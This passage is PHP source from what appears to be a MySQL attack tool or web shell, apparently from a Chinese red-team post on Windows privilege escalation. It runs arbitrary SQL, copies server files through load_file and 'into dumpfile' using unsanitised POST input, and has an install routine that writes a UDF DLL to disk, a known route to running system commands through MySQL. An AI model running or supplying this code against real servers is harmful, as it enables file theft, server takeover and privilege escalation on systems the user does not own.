	$rs = mysql_query($sql,$conn);
	echo mysql_info($conn);
	if (@mysql_num_rows($rs) > 0) {
		echo '<table border="1">';
		$cols = mysql_num_fields($rs);
		$index = 0;
		echo '<tr>';
		while ($index < $cols) {
			echo '<th>'.mysql_field_name($rs,$index).'</th>';
			$index ++;
		}
		echo '</tr>';
		while ($row = mysql_fetch_row($rs)) {
			$index = 0;
			echo '<tr>';
			while ($index < $cols) {
				echo '<td>';
				echo str_replace(chr(13),'<br/>',htmlspecialchars($row[$index]));
				echo '</td>';
				$index ++;
			}
			echo '</tr>';
 		}
		echo '</table>';
	}
	if (mysql_errno($conn) != 0)
		echo mysql_error();
	mysql_close($conn);
}
function cp(){
	$conn = conn(false);
	$source = $_POST['source'];
	$target = $_POST['target'];
	if (get_magic_quotes_gpc()) {
		$source = stripslashes($source);
		$target = stripslashes($target);
	}
	mysql_query('select unhex(hex(load_file("'.$source.'"))) into dumpfile "'.$target.'"');
	if (mysql_errno($conn) != 0)
		echo mysql_error().'<br/>';
	else
		echo 'done !';
	mysql_close($conn);
}
function install() {
//dump udf.dll
	$conn = conn(false);
	$path = $_POST['path'];
	if (get_magic_quotes_gpc()) 
		$path = stripslashes($path);
	mysql_query('create table udftmp (c blob)');
	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('insert into udftmp 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	if (mysql_errno($conn) != 0) {
		echo mysql_error().'<br/>';
		mysql_close($conn);
		exit();
	}
	mysql_query('select c from udftmp into dumpfile "'.$path.'"');
	if (mysql_errno($conn) != 0) {
		echo mysql_error(). '<br/>';
		mysql_query('drop table udftmp');
		mysql_close($conn);
		exit();
	}
	mysql_query('drop table udftmp');
	if (mysql_errno($conn) !=0)
		echo 'Dump DLL Failed.'.mysql_error();
	else
		echo 'Dump DLL Success!';
	mysql_close($conn);
}
?>
</body>
</html>

本文标签： 权限红队初win